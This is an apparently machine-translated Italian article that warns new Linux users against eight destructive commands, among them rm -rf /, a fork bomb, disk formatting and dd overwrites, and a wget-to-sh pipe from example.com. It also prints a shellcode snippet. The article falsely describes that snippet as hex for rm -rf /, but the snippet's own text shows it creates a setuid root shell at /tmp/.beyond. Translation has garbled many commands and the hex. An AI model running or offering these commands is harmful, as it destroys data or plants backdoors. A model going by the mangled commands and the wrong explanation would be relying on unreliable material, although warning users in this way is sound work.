Homepage » come » 8 comandi mortali che non dovresti mai eseguire su Linux

    8 comandi mortali che non dovresti mai eseguire su Linux

    I comandi del terminale di Linux sono potenti e Linux non chiederà conferma se si esegue un comando che interromperà il sistema. Non è raro vedere i troll online raccomandare ai nuovi utenti Linux di eseguire questi comandi come uno scherzo.

    Imparare i comandi che non dovresti eseguire può aiutarti a proteggerti dai troll mentre aumenti la tua comprensione di come funziona Linux. Questa non è una guida esaustiva e i comandi qui possono essere remixati in vari modi.

    Nota che molti di questi comandi saranno pericolosi solo se sono prefissati con sudo su Ubuntu - non funzioneranno diversamente. Su altre distribuzioni Linux, la maggior parte dei comandi deve essere eseguita come root.

    Immagine di credito: Skull and Crossbones remixato da Jason Ford su Twitter

    rm -rf / - Elimina tutto!

    Il comando rm -rf / elimina tutto il possibile, inclusi i file sul disco rigido e i file sui dispositivi rimovibili collegati. Questo comando è più comprensibile se è suddiviso:

    rm - Rimuovi i seguenti file.

    -rf - Esegui rm in modo ricorsivo (elimina tutti i file e le cartelle all'interno della cartella specificata) e forza-rimuovi tutti i file senza chiedere conferma all'utente.

    / - Comunica a rm di iniziare nella directory principale, che contiene tutti i file sul computer e tutti i dispositivi multimediali montati, comprese le condivisioni di file remoti e le unità rimovibili.

    Linux obbedirà felicemente a questo comando e cancellerà tutto senza averti richiesto, quindi fai attenzione quando lo usi! Il comando rm può anche essere utilizzato in altri modi pericolosi - rm -rf ~ cancellerebbe tutti i file nella tua cartella home, mentre rm -rf. * cancellerebbe tutti i tuoi file di configurazione.

    La lezione: Attenzione rm -rf.

    Travestito rm -rf /

    Ecco un altro frammento di codice che si trova in tutto il Web:

    char esp [] __attribute__ ((section (". text"))) / * e.s.p
    pubblicazione */
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    “\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ X8D \ x99”
    “\ XDF \ x81 \ x68 \ X8D \ x92 \ XDF \ xd2 \ x54 \ x5e \ XF7 \ x16 \ XF7”
    “\ X56 \ x04 \ XF7 \ x56 \ x08 \ XF7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56”
    “\ X8D \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31”
    “\ Xc0 \ x40 \ XEB \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2F \ x62 \ x69”
    “\ X6e \ x2F \ x73 \ x68 \ x00 \ X2D \ x63 \ x00”
    "Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Questa è la versione esadecimale di rm -rf / - l'esecuzione di questo comando cancellerebbe i tuoi file come se avessi eseguito rm -rf /.

    La lezione: Non eseguire comandi dall'aspetto strano, evidentemente camuffati che non capisci.

    : () : |: & ;: - Fork Bomb

    La seguente riga è una funzione bash dall'aspetto semplice ma pericoloso:

    : () : |: & ;:

    Questa breve linea definisce una funzione di shell che crea nuove copie di se stesso. Il processo si replica continuamente e le sue copie si replicano continuamente, occupando rapidamente tutto il tempo e la memoria della CPU. Ciò può causare il blocco del computer. È fondamentalmente un attacco denial-of-service.

    La lezione: Le funzioni di Bash sono potenti, anche molto brevi.

    Immagine di credito: Dake su Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Formatta un disco rigido

    Il mkfs.ext4 / dev / sda1 il comando è semplice da capire:

    mkfs.ext4 - Creare un nuovo file system ext4 sul seguente dispositivo.

    / Dev / sda1 - Specifica la prima partizione sul primo disco rigido, che è probabilmente in uso.

    Nel complesso, questo comando può essere equivalente al formato c: su Windows: cancella i file sulla prima partizione e li sostituisce con un nuovo file system.

    Questo comando può venire anche in altre forme - mkfs.ext3 / dev / sdb2 formattare la seconda partizione sul secondo disco rigido con il file system ext3.

    La lezione: Fare attenzione ai comandi di esecuzione direttamente sui dispositivi del disco rigido che iniziano con / dev / sd.

    comando> / dev / sda - Scrive direttamente su un disco rigido

    Il comando> / dev / sda la linea funziona in modo simile: esegue un comando e invia l'output di tale comando direttamente al primo disco rigido, scrivendo i dati direttamente sul disco rigido e danneggiando il file system.

    comando - Esegui un comando (può essere qualsiasi comando).

    > - Invia l'output del comando al seguente percorso.

    / Dev / sda - Scrivi l'output del comando direttamente sul dispositivo del disco rigido.

    La lezione: Come sopra, fai attenzione ai comandi in esecuzione che coinvolgono i dispositivi del disco rigido che iniziano con / dev / sd.

    dd if = / dev / random of = / dev / sda - Scrive Junk Onto su un disco rigido

    Il dd if = / dev / random of = / dev / sda linea cancellerà anche i dati su uno dei tuoi dischi rigidi.

    dd - Esegui la copia di basso livello da una posizione a un'altra.

    if = / dev / random - Usa / dev / random (dati casuali) come input - puoi anche vedere posizioni come / dev / zero (zeri).

    of = / dev / sda - Uscita sul primo disco rigido, sostituendo il suo file system con dati illegali casuali.

    La lezione: dd copia i dati da una posizione a un'altra, il che può essere pericoloso se si copia direttamente su un dispositivo.

    Immagine di credito: Matt Rudge su Flickr

    mv ~ / dev / null - Sposta la tua home directory su un buco nero

    / dev / null è un'altra posizione speciale: spostare qualcosa su / dev / null equivale a distruggerlo. Pensa a / dev / null come a un buco nero. Essenzialmente, mv ~ / dev / null manda tutti i tuoi file personali in un buco nero.

    mv - Sposta il seguente file o directory in un'altra posizione.

    ~ - Rappresenta la tua intera cartella home.

    / Dev / null - Sposta la tua cartella Inizio in / dev / null, distruggendo tutti i tuoi file ed eliminando le copie originali.

    La lezione: Il carattere ~ rappresenta la tua cartella principale e spostare le cose su / dev / null le distrugge.

    wget http://example.com/qualcosa -O - | sh: scarica ed esegue uno script

    La riga precedente scarica uno script dal web e lo invia a sh, che esegue il contenuto dello script. Questo può essere pericoloso se non sei sicuro di quale sia lo script o se non ti fidi della sua origine - non eseguire script non fidati.

    wget - Scarica un file. (Puoi anche vedere l'arricciatura al posto di wget.)

    http://example.com/something - Scarica il file da questa posizione.

    | - Convoglia (invia) l'output del comando wget (il file scaricato) direttamente a un altro comando.

    sh - Invia il file al comando sh, che lo esegue se si tratta di uno script bash.

    La lezione: Non scaricare ed eseguire script non affidabili dal Web, anche con un comando.


    Conosci altri comandi pericolosi che i nuovi utenti Linux (e con esperienza) non dovrebbero eseguire? Lascia un commento e condividili!